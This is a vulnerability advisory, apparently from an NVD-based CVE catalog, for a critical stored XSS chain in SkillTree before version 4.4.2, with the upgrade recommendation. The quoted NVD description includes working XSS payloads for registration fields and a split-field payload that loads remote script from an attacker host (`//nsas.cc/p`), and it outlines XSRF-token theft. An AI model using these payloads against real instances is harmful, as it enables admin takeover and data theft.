CVE Catalog

CVE-2026-54694

CriticalCVSS 9.6
Published: Translated: NVD NIST

Summary

SkillTree before version 4.4.2 contains an XSS vulnerability resulting from a combination of two flaws: lack of HTML encoding in StringHighlighter.js and use of v-html in HighlightedValue.vue. An attacker can register an account with malicious firstName/lastName/nickname fields, and when an administrator opens the Quiz Runs page, the payload executes in their browser. There are three attack paths with escalating impact: basic XSS, remote script loading via import(), and CSRF token theft.

Risk Assessment

The risk to the organization includes administrator account takeover, arbitrary code execution in the admin's browser, user data theft, project deletion, and creation of backdoor accounts. The attack requires no admin interaction beyond routine platform use.

Recommendation

Immediately upgrade SkillTree to version 4.4.2 or later, which contains the patch. Additionally, restrict registration field lengths and implement server-side HTML sanitization.

Related vulnerabilities

Original NVD description (English source)

SkillTree is a micro-learning gamification platform. Prior to version 4.4.2, two independent code flaws combine into a single exploitable attack chain, with three distinct exploitation paths of escalating impact. `StringHighlighter.js` builds an HTML string by interpolating raw `value` substrings directly into a template literal with no HTML entity encoding. `HighlightedValue.vue` renders that string — and all unfiltered plain values — via Vue's `v-html` directive, which sets `innerHTML`. Separately, the account registration endpoint accepts `firstName`, `lastName`, and `nickname` fields and stores them without any HTML sanitization. An attacker self-registers with `firstName = "<img src=x onerror=alert(1)>"` (28 characters — within the 30-character field limit) and visits any quiz. The next time an administrator opens the Quiz Runs page the payload executes in their browser. Three attack paths exist with escalating impact. The first is basic cross-site scripting. Any self-contained payload fitting the 30-character limit (e.g. `<img src=x onerror=alert(1)>`, which is 28 chars) fires automatically when the admin navigates to the runs page through normal use. Arbitrary code execution in the admin's browser is confirmed with zero extra steps. The second is remote script loading via `import()`. Using the split-field technique (`lastName = "<img src=x"`, `firstName = "onerror=import('//nsas.cc/p')>"`), the attacker loads a full JavaScript file from their server. The file has no size limit and can perform any admin action — delete all projects, create backdoor accounts, dump user data, install a keylogger. No phishing required. The only constraint is that the URL must fit in 11 characters (`//nsas.cc/p`). The third is full cross-site request forgery token theft. Using `eval(name)`, the attacker pre-sets `window.name` to a data-theft payload by sending the admin one redirect link first. The session cookie is `HttpOnly` and cannot be read via `document.cookie`; however, the XSRF token is readable and the attacker leverages same-origin execution to call admin APIs from inside the victim's browser, relaying the responses to an external server. No admin interaction beyond routine use is required. Version 4.4.2 contains a patch.

Vulnerability data from NVD (NIST) · CISA KEV · EPSS